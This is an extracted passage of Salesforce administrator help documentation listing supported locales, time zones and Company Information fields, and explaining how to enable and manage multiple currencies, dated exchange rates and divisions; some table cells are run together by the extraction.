Surinam Dollar: SRD

2-1-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Norwegian

no

02.01.2008 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Norwegian (Norway)

no_NO

Norwegian 02.01.2008 Krone: NOK 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Polish

pl

2008-01-02 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

435

Company Information

Supported Locales

Name Portuguese

Code pt

Default currency

Date and time format 02-01-2008 16:30

Time format Number format 6:00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Portuguese (Angola)

pt_AO

Angola Kwanza: AOA

02-01-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Portuguese (Brazil)

pt_BR

Brazilian Real: BRL

02/01/2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Portuguese (Portugal)

pt_PT

Euro: EUR

02-01-2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Romanian

ro

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

436

Company Information

Supported Locales

Name Romanian (Romania)

Code ro_RO

Default currency Romanian Leu (New): RON

Date and time format 02.01.2008 16:30

Time format Number format 06:00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Russian

ru

02.01.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Russian (Russia)

ru_RU

Russian 02.01.2008 Rouble: RUB 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Serbian (Latin)

sh

02.01.2008. 16:30

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Serbian sh_BA (Latin) (Bosnia and Herzegovina)

Convertible Mark: BAM

02.01.2008. 16:30

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

437

Company Information

Supported Locales

Name

Code

Default currency

Date and time format

Time format Number format 06.00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Serbian sh_CS (Latin) (Serbia and Montenegro)

Serbian Dinar 02.01.2008. (Serbia): RSD 16:30 Euro (Montenegro): EUR

Slovak

sk

2.1.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Slovak (Slovakia)

sk_SK

Euro: EUR

2.1.2008 16:30

6:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Slovenian (Slovenia)

sl_SI

Euro: EUR

2.1.08 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Serbian

sr

2.1.2008. 16.30

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

438

Company Information

Supported Locales

Name

Code

Default currency Convertible Mark: BAM

Date and time format 2008-01-02 16:30

Time format Number format 06.00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Serbian sr_BA (Bosnia and Herzegovina)

Serbian sr_CS (Serbia and Montenegro)

Serbian Dinar 2.1.2008. (Serbia): RSD 16.30 Euro (Montenegro): EUR

06.00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Swedish

sv

2008-01-02 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Swedish (Sweden)

sv_SE

Swedish Krona: SEK

2008-01-02 16:30

06:00

1 234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Thai

th

2/1/2008, 16:30 .

6:00 .

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

439

Company Information

Supported Locales

Name Thai (Thailand)

Code th_TH

Default currency Thai Baht: THB

Date and time format 2/1/2551, 16:30 .

Time format Number format 6:00 . 1,234.56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Tagalog

tl

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Tagalog (Philippines)

tl_PH

Philippines Peso: PHP

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Turkish

tr

02.01.2008 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Turkish (Turkey)

tr_TR

Turkish Lira: 02.01.2008 TRY 16:30

06:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

440

Company Information

Supported Locales

Name Ukrainian

Code uk

Default currency

Date and time format 02.01.2008 16:30

Time format Number format 6:00 1.234,56

Name format Address format Ms. FName LName Address Line 1, Address Line 2 City, State ZipCode Country

Ukrainian (Ukraine)

uk_UA

Ukraine Hryvnia: UAH

02.01.2008 16:30

6:00

1.234,56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Urdu (Pakistan)

ur_PK

Pakistani Rupee: PKR

1/2/2008 4:30 6:00 AM PM

1,234.56

Ms. FName LName

Address Line 1, Address Line 2 City, State ZipCode Country

Vietnamese

vi

16:30 02/01/2008

06:00

1.234,56

LName FName

Address Line 1, Address Line 2 City, State ZipCode Country

Vietnamese (Vietnam)

vi_VN

Vietnam Dong: VND

16:30 02/01/2008

06:00

1.234,56

LName FName

Address Line 1, Address Line 2 City, State ZipCode Country

441

Company Information

Supported Locales

Name Chinese

Code zh

Default currency

Date and time format 2008-1-2 PM4:30

Time format Number format 6:00 1,234.56

Name format Address format LName FName Country ZipCode State City Address Line 1, Address Line 2

Chinese (China)

zh_CN

Chinese Yuan: CNY

2008-1-2 PM4:30

6:00

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Chinese zh_HK (Hong Kong)

Hong Kong 200812 Dollar: HKD PM4:30

6:00

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

Chinese (Taiwan)

zh_TW

Taiwan 2008/1/2 PM 6:00 Dollar: TWD 4:30

1,234.56

LName FName

Country ZipCode State City Address Line 1, Address Line 2

See Also:
Understanding Language, Locale, and Currency

442

Company Information

Supported Time Zones

Supported Time Zones


Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions

User Permissions Needed To view company information: To change company information: View Setup and Configuration Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

Salesforce supported times zones and codes (in chronological order): Time Zone Code GMT+14:00 GMT+13:00 GMT+13:00 GMT+12:45 GMT+12:00 GMT+12:00 GMT+12:00 GMT+11:30 GMT+11:00 GMT+10:30 GMT+10:00 GMT+10:00 GMT+09:30 GMT+09:30 GMT+09:00 GMT+09:00 GMT+08:00 GMT+08:00 GMT+08:00 GMT+08:00 GMT+08:00 Time Zone Name Line Is. Time (Pacific/Kiritimati) Phoenix Is. Time (Pacific/Enderbury) Tonga Time (Pacific/Tongatapu) Chatham Daylight Time (Pacific/Chatham) Petropavlovsk-Kamchatski Time (Asia/Kamchatka) New Zealand Daylight Time (Pacific/Auckland) Fiji Time (Pacific/Fiji) Norfolk Time (Pacific/Norfolk) Solomon Is. Time (Pacific/Guadalcanal) Lord Howe Summer Time (Australia/Lord_Howe) Eastern Standard Time (Queensland) Eastern Summer Time (New South Wales) Central Summer Time (South Australia) Central Standard Time (Northern Territory) Korea Standard Time (Asia/Seoul) Japan Standard Time (Asia/Tokyo) Hong Kong Time (Asia/Hong_Kong) Malaysia Time (Asia/Kuala_Lumpur) Philippines Time (Asia/Manila) China Standard Time (Asia/Shanghai) Singapore Time (Asia/Singapore)

443

Company Information

Supported Time Zones

Time Zone Code GMT+08:00 GMT+08:00 GMT+07:00 GMT+07:00 GMT+07:00 GMT+06:30 GMT+06:00 GMT+05:45 GMT+05:30 GMT+05:30 GMT+05:00 GMT+05:00 GMT+05:00 GMT+04:30 GMT+04:00 GMT+04:00 GMT+03:30 GMT+03:00 GMT+03:00 GMT+03:00 GMT+03:00 GMT+03:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+02:00 GMT+01:00

Time Zone Name China Standard Time (Asia/Taipei) Western Standard Time (Australia) Indochina Time (Asia/Bangkok) West Indonesia Time (Asia/Jakarta) Indochina Time (Asia/Saigon) Myanmar Time (Asia/Rangoon) Bangladesh Time (Asia/Dacca) Nepal Time (Asia/Katmandu) India Standard Time (Asia/Calcutta) India Standard Time (Asia/Colombo) Pakistan Summer Time (Asia/Karachi) Uzbekistan Time (Asia/Tashkent) Yekaterinburg Time (Asia/Yekaterinburg) Afghanistan Time (Asia/Kabul) Gulf Standard Time (Asia/Dubai) Georgia Time (Asia/Tbilisi) Iran Standard Time (Asia/Tehran) Eastern African Time (Africa/Nairobi) Arabia Standard Time (Asia/Baghdad) Arabia Standard Time (Asia/Kuwait) Arabia Standard Time (Asia/Riyadh) Moscow Standard Time (Europe/Moscow) Eastern European Time (Africa/Cairo) South Africa Standard Time (Africa/Johannesburg) Israel Standard Time (Asia/Jerusalem) Eastern European Time (Europe/Athens) Eastern European Time (Europe/Bucharest) Eastern European Time (Europe/Helsinki) Eastern European Time (Europe/Istanbul) Eastern European Time (Europe/Minsk) Central European Time (Europe/Amsterdam)

444

Company Information

Supported Time Zones

Time Zone Code GMT+01:00 GMT+01:00 GMT+01:00 GMT+01:00 GMT+01:00 GMT+00:00 GMT+00:00 GMT+00:00 GMT+00:00 GMT-01:00 GMT-02:00 GMT-03:00 GMT-03:00 GMT-03:30 GMT-04:00 GMT-04:00 GMT-04:00 GMT-04:00 GMT-04:30 GMT-05:00 GMT-05:00 GMT-05:00 GMT-05:00 GMT-05:00 GMT-06:00 GMT-06:00 GMT-06:00 GMT-07:00 GMT-07:00 GMT-08:00 GMT-08:00

Time Zone Name Central European Time (Europe/Berlin) Central European Time (Europe/Brussels) Central European Time (Europe/Paris) Central European Time (Europe/Prague) Central European Time (Europe/Rome) Irish Summer Time (Europe/Dublin) Western European Summer Time (Europe/Lisbon) British Summer Time (Europe/London) Greenwich Mean Time (GMT) Cape Verde Time (Atlantic/Cape_Verde) South Georgia Standard Time (Atlantic/South_Georgia) Argentine Summer Time (America/Buenos_Aires) Brasilia Summer Time (America/Sao_Paulo) Newfoundland Daylight Time (America/St_Johns) Atlantic Daylight Time (America/Halifax) Atlantic Standard Time (America/Puerto_Rico) Chile Summer Time (America/Santiago) Atlantic Daylight Time (Atlantic/Bermuda) Venezuela Time (America/Caracas) Colombia Time (America/Bogota) Eastern Daylight Time (America/Indianapolis) Peru Time (America/Lima) Eastern Daylight Time (America/New_York) Eastern Standard Time (America/Panama) Central Daylight Time (America/Chicago) Central Standard Time (America/El_Salvador) Central Standard Time (America/Mexico_City) Mountain Daylight Time (America/Denver) Mountain Standard Time (America/Phoenix) Pacific Daylight Time (America/Los_Angeles) Pacific Standard Time (America/Tijuana)

445

Company Information

Company Information Fields

Time Zone Code GMT-09:00 GMT-10:00 GMT-11:00 GMT-11:00

Time Zone Name Alaska Daylight Time (America/Anchorage) Hawaii Standard Time (Pacific/Honolulu) Niue Time (Pacific/Niue) Samoa Standard Time (Pacific/Pago_Pago)

See Also:
Understanding Language, Locale, and Currency

Company Information Fields


The available fields vary according to which Salesforce Edition you have.

The Company Information page has the following fields (listed in alphabetical order), including the user and feature licenses purchased for your organization. Field
Address

Description Street address of the organization. Up to 255 characters are allowed in this field. Allow administrators in your organization to choose whether they want to receive administrator-targeted promotional emails from salesforce.com. The total number of API requests issued by the organization in the last 24 hours. The maximum number of requests depends on your Edition. For a list of request limits by Edition, see Force.com API Usage Limits on page 2267. For more information about API usage notification, see About API Usage Notifications on page 950 or the SOAP API Developer's Guide. City in which organization is located. Up to 40 characters are allowed in this field. The currency in which the organization's corporate headquarters reports revenue. Serves as the basis for all currency conversion rates. Only for organizations that use multiple currencies. Country in which organization is located. Up to 40 characters are allowed in this field.

Admin Newsletter

API Requests, Last 24 Hours

City

Corporate Currency

Country

446

Company Information

Company Information Fields

Field
Created By

Description User who signed up the organization, including creation date and time. (Read only) The country or geographic region in which the organization is located. The setting affects the format of currency amounts. For single currency organizations only. The default language that is selected for new users in the organization. This setting determines the language used for the user interface text and help. In all editions except Personal Edition and Database.com, individual users can separately set the language for their own login, which will override the organization setting. In Group Edition, this field is called Display Language. This setting also determines the language in which all customizationssuch as custom fields, tabs, and user interface optionsare stored. For customizations, individual users' language settings do not override this setting.

Currency Locale

Default Language

Default Locale

The default country or geographic region that is selected for new users in the organization. This setting determines the format of dates, times, and names in Salesforce. In Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Edition organizations, individual users can set their personal locale, which overrides the organization setting. In Group Edition, this field is called Locale. Primary time zone in which the organization is located. A user's individual Time Zone setting overrides the organization's Default Time Zone setting. Note: Organizations in Arizona should select Mountain Standard Time, and organizations in parts of Indiana that do not follow Daylight Savings Time should select Eastern Standard Time.

Default Time Zone

Division

Group or division that uses the service, for example, PC Sales Group. Up to 40 characters are allowed in this field. Fax number. Up to 40 characters are allowed in this field. If using a standard fiscal year, the starting month and year for the organizations fiscal year. If using a custom fiscal year, the value will be Custom Fiscal Year. Select this checkbox to prevent advance notices about planned system downtime from displaying to users when they log in to Salesforce.

Fax Fiscal Year Starts In

Hide Notices About System Downtime

447

Company Information

Company Information Fields

Field
Hide Notices About System Maintenance

Description Select this checkbox to prevent advance notices about planned system maintenance from displaying to users when they log in to Salesforce. User who last changed the company information, including modification date and time. (Read only) Allow users in your organization to choose whether they want to receive user-targeted promotional emails from salesforce.com. Name of the organization. Up to 80 characters are allowed in this field. Main phone number at organization. Up to 40 characters are allowed in this field. Person who is main contact or administrator at the organization. You can enter a name, or select a name from a list of previously defined users. Up to 80 characters are allowed in this field. Number of Salesforce user accounts that can be defined for access to the service. This is the number of Salesforce user licenses for which the organization is billed, if charges apply. Code that uniquely identifies your organization to salesforce.com. Number of restricted login users who have logged in during the current month. This value resets to zero at the beginning of each month. The maximum number of restricted login users for the organization is in parentheses.

Modified By

Newsletter

Organization Name

Phone

Primary Contact

Salesforce Licenses

Salesforce.com Organization ID

Restricted Logins, Current Month

State

State or province in which organization is located. Up to 20 characters are allowed in this field. The total number of Streaming API events used by the organization in the last 24 hours. The maximum number of events depends on your edition. For more information about Streaming API limits, see the Force.com Streaming API Developers Guide. Zip or postal code of the organization. Up to 20 characters are allowed in this field. Amount of data storage in use; the value is expressed as a measurement (for example, 500 MB) and as a percentage of the total amount of data storage available (for example, 10%).

Streaming API Events, Last 24 Hours

Zip

Used Data Space

448

Multiple Currencies

Enabling Multiple Currencies

Field
Used File Space

Description Amount of file storage in use; the value is expressed as a measurement (for example, 500 MB) and as a percentage of the total amount of file storage available (for example, 10%).

See Also:
About Company Information Understanding Language, Locale, and Currency

MULTIPLE CURRENCIES
Enabling Multiple Currencies
Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

To enable multiple currencies (Multi-Currency) in your organization: 1. Familiarize yourself with the implications of enabling multiple currencies. 2. Contact salesforce.com to request enablement. Be prepared to provide the following information: The organization ID (production or sandbox) The default currency stamp for current and future records (USD, EUR, GBP, etc.) Confirmation that you understand that Multi-Currency cant be disabled once enabled Confirmation that you are a system administrator authorized on behalf of your organization to request Multi-Currency enablement and that you consent to the lockout of this organization for a certain period of time, depending on your organizations data usage volume. Note: For large organizations, Multi-Currency might be enabled over the weekend to avoid performance issues during the work week.

See Also:
Implications of Enabling Multiple Currencies Managing Multiple Currencies About Advanced Currency Management

449

Multiple Currencies

Implications of Enabling Multiple Currencies

Implications of Enabling Multiple Currencies


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Enabling multiple currencies introduces permanent changes in your organization. Before proceeding with enablement, be aware of these implications to ensure a smooth transition for your organization. Once enabled, Multi-Currency cant be disabled for your organization. Work with your salesforce.com representative to determine the best time for Multi-Currency enablement. The enablement process temporarily locks your organization, preventing any integration processing and user logins. The lockout duration depends on the data space used by your organization. This table shows the lockout durations and recommended times for enablement. Used Data Space (excluding files) Less than 100 MB 100 MB to 10 GB Over 10 GB Estimated Organization Lockout Duration Less than 2 minutes Up to 1 hour Several hours Recommended Time for Enablement Anytime After 5 p.m. (local time) After 5 p.m. on Friday (local time)

Upon enablement, all existing records are stamped with a default currency code that you provide in your enablement request. For example, if your organization contains records using USD and EUR, you need to switch them all to the same default currency prior to enablement. Support for this type of conversion is also available as a salesforce.com paid implementation service. Objects that support multiple currencies include Opportunities, Opportunity Products, Opportunity Product Schedules, Campaign Opportunities, and reports related to these objects and fields. By default, page layouts for these objects have multiple-currency compatible fields, which allow you to specify the currency for the record. Typically, these fields are available only when creating a new record or editing an existing record. The selected currency is used for the primary amount field. After enablement, the primary currency displays as usual followed by the secondary currency amount in parentheses. The primary currency is typically the default corporate currency, unless its overridden at the record level. The secondary currency amount shown in parentheses is always the users personal default currency, calculated based on the conversion rate settings defined in your organization. In reports, the primary currency reflects either the default corporate currency or the currency selected for the record. The secondary currency reflects the personal default currency of the user running the report, or the currency specified in the report criteria. Users can specify a personal default currency in Your Name > Setup > Personal Information. It displays as the secondary currency amount (converted amount). Changing the personal default currency updates the converted amount in real time. Once a currency is added to an organizations list of supported currencies, it cant be deleted from the administrators list of currencies, even when it is deactivated. This is a cosmetic issue that doesnt impact end users. A deactivated currency is not visible to end users but remains visible to administrators. Salesforce.com recommends that you keep this in mind during testing and use only those currencies that you eventually plan to use in your organization. After enablement, all currency fields display the ISO code of the currency before the amount. For example, $100 displays as USD 100. By default, all converted amounts in your organization rely on the current conversion rates defined for your organization. Conversion rates must be set and updated manually. Changing the exchange rate automatically updates converted amounts on all records, including on closed opportunities.

450

Multiple Currencies

Managing Multiple Currencies

You can opt to use dated exchange rates by using advanced currency management to track historical exchange rates. When enabled, advanced currency management allows maintaining a list of exchange rates by date range, and converted currency amounts on opportunities display based on the specified Close Date, regardless of the opportunity stage. Changing the Close Date impacts converted amounts if it changes to a different exchange rate period. Note: Dated exchange rates are not used in forecasting, currency fields in other objects, or currency fields in other types of reports.

See Also:
Enabling Multiple Currencies Managing Multiple Currencies About Advanced Currency Management Editing Conversion Rates Administrator setup guide: Using Multiple Currencies

Managing Multiple Currencies


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

Your organization can set up the ability to use multiple currencies in opportunities, forecasts, quotes, reports, and other data. 1. 2. 3. 4. 5. Enable Multi-Currency for your organization. Designate your corporate currency. See Setting Corporate Currency on page 452. Activate additional currencies for your organization. See Activating and Deactivating Currencies on page 453. To use dated exchange rates, enable advanced currency management. Set conversion rates for new currencies. See Editing Conversion Rates. If you have enabled advanced currency management, see Editing Dated Exchange Rates on page 457.

Using Multiple Currencies


International organizations can use multiple currencies in opportunities, forecasts, reports, quotes, and other currency fields. The administrator sets the corporate currency, which reflects the currency of the corporate headquarters. The administrator also maintains the list of active currencies and their conversion rates relative to the corporate currency. The active currencies represent the countries in which the organization does business. Only active currencies can be used in currency amount fields. Every user also has a personal currency, which is used as the default currency in his or her own quotas, forecasts (depending on which forecasting version you use), opportunities, quotes, and reports. Users can also create opportunities and enter amounts using other active currencies.

451

Multiple Currencies

Setting Corporate Currency

Every lead, account, contact, opportunity, and case has a field that specifies the currency to use for all amount fields in that record. For example, you can set the Account Currency to USD-U.S. Dollars so that the Annual Revenue shows in dollars for one of your American accounts. All currency amounts are displayed in the default currency of the record as well as in the personal currency of the user. When you change the default currency of a record, currency amounts are not converted; they simply display with the new currency code. Note: If your organization uses advanced currency management, the opportunity close date determines which conversion rate to use when displaying currency amounts. Depending on the forecasting version you have, forecasts currency amounts are automatically converted to the users personal currency; additionally, for managers, their teams opportunities, forecasts, quotes, and other data is converted and rolled up to the managers personal currency. The manager can also drill down to see the data in its native currency. All conversion and roll-ups happen automatically. Amounts in reports are shown in their original currencies, but can be displayed in any active currency. You can change the currency used for report totals by selecting a currency from Show > Currencies. The default value for the drop-down is your personal currency. For any amount, you can also choose to display the Converted columnfor example, Annual Revenue Convertedwhich will show amounts in the currency you select. Custom formula fields are not tied to any particular currency. If the result of a formula field is a currency amount, it displays in the currency of the associated record. This is also true for cross-object formulas that reference merge fields with different currencies, and formulas in workflow rules and approval processes. However, note that workflow rules and approval processes that use filters instead of formulas convert all currency values to the corporate currency. You cannot disable multiple currencies for your organization if the currency fields are referenced in Apex. For example, if Apex code references the Account Currency field (represented as CurrencyIsoCode in the code), multiple currencies cannot be disabled. For more information, see Apex Code Overview on page 2086.

See Also:
Administrator setup guide: Using Multiple Currencies Enabling Multiple Currencies Importing Multiple Currencies

Setting Corporate Currency


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

Your administrator must specify a Corporate Currency, which reflects the currency in which your corporate headquarters reports revenue. A salesforce.com representative initially sets your corporate currency upon activation of the feature. To change your corporate currency: 1. Click Your Name > Setup > Company Profile > Manage Currencies.

452

Multiple Currencies

Activating and Deactivating Currencies

2. Click Change Corporate. 3. Choose a new corporate currency from the list of active currencies, and click Save. If you have not yet set up any currencies, see Activating and Deactivating Currencies on page 453. The corporate currency is the currency on which all of your conversion rates are based.

See Also:
Managing Multiple Currencies Editing Conversion Rates About Advanced Currency Management Administrator setup guide: Using Multiple Currencies

Activating and Deactivating Currencies


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

To use multiple currencies, your administrator must specify which currencies are supported for your organization. Active currenciesThese represent countries in which your organization does business. Only active currencies can be entered in opportunities, forecasts, and other items.Once you activate a currency, you can never permanently delete it. Inactive currenciesThese are currencies that your organization no longer uses. You may have existing records that use inactive currencies, but you cannot enter new amounts in inactive currencies.

To activate new currencies: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Company Profile > Manage Currencies. Click New in the Active Currencies related list. Select a currency. Currencies are alphabetized using their ISO currency code. Enter the conversion rate relative to your corporate currency. Specify the number of decimal places to show for amounts in this currency. Click Save.

To activate a currency from the list of inactive currencies, click Activate next to the currency. To deactivate a currency, click Deactivate next to the currency. Deactivating a currency does not alter amounts in items that use that currency. However, you can no longer enter new amounts using the inactive currency.

453

Multiple Currencies

Editing Conversion Rates

Note: Deactivating a currency that is set as a users personal currency automatically resets the users currency to the corporate currency.

See Also:
Managing Multiple Currencies Setting Corporate Currency Editing Conversion Rates About Advanced Currency Management Administrator setup guide: Using Multiple Currencies

Editing Conversion Rates


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

You can manage exchange rates between your active and inactive currencies and the corporate currency by editing the conversion rates. These are static exchange rates that apply to all currency fields used in your organization. In addition to these conversion rates, your organization may also use dated exchange rates for opportunities and opportunity products. For more information about dated exchange rates, see About Advanced Currency Management on page 455. To edit your organization's static conversion rates: 1. 2. 3. 4. 5. Click Your Name > Setup > Company Profile > Manage Currencies. If advanced currency management is enabled, click Manage Currencies. Click Edit Rates in the Active Currencies or Inactive Currencies lists. Enter the conversion rate between each currency and your corporate currency. Click Save.

When you change the conversion rates, currency amounts are updated using the new rates. Previous conversion rates are not stored. All conversions within opportunities, forecasts, and other amounts use the current conversion rate. If your organization uses advanced currency management, you can also manage dated exchange rates for currency fields on opportunities and opportunity products. To manage dated exchange rates, see Editing Dated Exchange Rates on page 457. Note: You cannot track revenue gain or loss based on currency fluctuations.

454

Advanced Currency Management

About Advanced Currency Management

Changing conversion rates causes a mass recalculation of roll-up summary fields, which may take up to 30 minutes, depending on the number of records affected and other factors.

See Also:
Managing Multiple Currencies Setting Corporate Currency Activating and Deactivating Currencies Administrator setup guide: Using Multiple Currencies

ADVANCED CURRENCY MANAGEMENT


About Advanced Currency Management
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable advanced currency management: To view currencies: To change currencies: Customize Application View Setup and Configuration Customize Application

Advanced currency management allows you to manage dated exchange rates within opportunities using Salesforce. Dated exchange rates allow you to map a conversion rate to a specific date range. For example, the exchange rate on January 1 was 1 USD to 1.39 AUD, but on February 1, it changed to 1 USD to 1.42 AUD. Your opportunities that closed between January 1 and February 1 use the first exchange rate (1 = 1.39), while opportunities that closed after February 1 used the second exchange rate (1 = 1.42). Dated exchange rates are defined using a start date and a conversion rate. Each rate is in effect until either the end of time or the day before the next start date for that currency. The time between on start date and the next start date is called the exchange rate date range. These ranges can be as small as a day and as large as all of time. To enable or disable advanced currency management, see Enabling or Disabling Advanced Currency Management on page 456. When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated exchange rates. These rates will be valid for all time, until you define another set of exchange rates. For more information, see Editing Dated Exchange Rates on page 457. If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion Rates on page 454.

455

Advanced Currency Management

Enabling or Disabling Advanced Currency Management

Advanced Currency Management Considerations


Dated exchange rates are used for opportunities, opportunity products, opportunity product schedules, campaign opportunity fields, and reports related to these objects and fields. Dated exchange rates are not used in forecasting, currency fields in other objects, or currency fields in other types of reports. Organizations with advanced currency management support roll-up summary fields between two advanced currency management objects. For example, roll-up summary fields are supported from an opportunity line object to its opportunity object, because both are advanced currency management enabled. However, if you enable advanced currency management, you cannot create roll-up summary fields that calculate currency on the opportunity object rolling up to the account object. All existing currency-related roll-up summary fields on the opportunity object are disabled and their values are no longer calculated. If your organization enables advanced currency management, you should delete any currency roll-up summary fields using opportunities and accounts or opportunities and custom objects. Campaign opportunity fields use dated exchange rates when calculating the amount in the campaign currency, but are not used when converting those amounts to the user currency. Cross-object formulas always use the static conversion rate for currency conversion. If advanced currency management is enabled, you can't bind Visualforce pages that use <apex:inputField> or <apex:outputField> components to currency fields that support advanced currency management.

See Also:
Managing Multiple Currencies Setting Corporate Currency Activating and Deactivating Currencies Administrator setup guide: Using Multiple Currencies

Enabling or Disabling Advanced Currency Management


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions.

User Permissions Needed To enable advanced currency management: Customize Application

To enable advanced currency management: 1. 2. 3. 4. Enable multiple currencies for your organization. For more information, see Managing Multiple Currencies on page 451. Click Your Name > Setup > Company Profile > Manage Currencies. Click Enable. When prompted, select Yes, I want to enable Advanced Currency Management and click Enable.

When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated exchange rates. These rates will be valid for all time, until you define another set of exchange rates. To disable advanced currency management: 1. Click Your Name > Setup > Company Profile > Manage Currencies. 2. Click Disable.

456

Advanced Currency Management

Editing Dated Exchange Rates

3. When prompted, select Yes, I want to disable Advanced Currency Management and click Disable. If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion Rates on page 454. When advanced currency management is enabled, Visualforce <apex:inputField> and <apex:outputField> components cannot display currency fields.

See Also:
About Advanced Currency Management

Editing Dated Exchange Rates


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view currencies: To change currencies: View Setup and Configuration Customize Application

To add new dated exchange rates: 1. 2. 3. 4. 5. Click Your Name > Setup > Company Profile > Manage Currencies. Click Manage Dated Exchange Rates. Click New Exchange Rates. Enter the date that the exchange rates go into effect. Enter the exchange rates. Note: The exchange rates will default to the current exchange rate. If you do not want to set a new exchange rate for a currency, delete the exchange rate (leave the field blank). 6. Click Save to save the new dated exchange rates. To view existing dated exchange rates: 1. Click Your Name > Setup > Company Profile > Manage Currencies. 2. Click Manage Dated Exchange Rates. 3. Select the date range you want to view either by entering the date and clicking Go!, or by selecting Previous Range or Next Range. To delete a dated exchange rate for a particular currency: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Manage Currencies. Click Manage Dated Exchange Rates. Click the name of the currency you want to edit. Click Del for the date range you want to delete.

457

Divisions

About Divisions

If the date range you want is not displayed, enter it in the Show all rates with start dates between fields and click Go!. To edit your dated exchange rates for a particular currency: 1. 2. 3. 4. Click Your Name > Setup > Company Profile > Manage Currencies. Click Manage Dated Exchange Rates. Click the name of the currency you want to edit. Click Edit for the date range you want to edit. If the date range you want is not displayed, enter it in the Show all rates with start dates between fields and click Go!. 5. Edit the exchange rate, setting it to the new value for the date range, and click Save.

See Also:
About Advanced Currency Management Managing Multiple Currencies Setting Corporate Currency Activating and Deactivating Currencies Editing Conversion Rates Administrator setup guide: Using Multiple Currencies

DIVISIONS
About Divisions
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit divisions: To limit list views, searches, and reports by division: Modify All Data Affected by Divisions

Divisions let you segment your organization's data into logical sections, making searches, reports, and list views more meaningful to users. For example, you can create a report to show the opportunities for just the North American division, allowing you to get accurate sales numbers for the North American sales team. Divisions are useful for organizations with extremely large amounts of data.

458

Divisions

Overview of Divisions

Note: Contact salesforce.com to enable divisions for your organization. Divisions do not restrict users access to data and are not meant for security purposes.

See Also:
Overview of Divisions Getting Started with Divisions Creating and Editing Divisions Transferring Divisions Changing Your Working Division Changing Your Default Division Administrator tip sheet: Getting Started with Divisions

Overview of Divisions
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit divisions: To limit list views, searches, and reports by division: Modify All Data Affected by Divisions

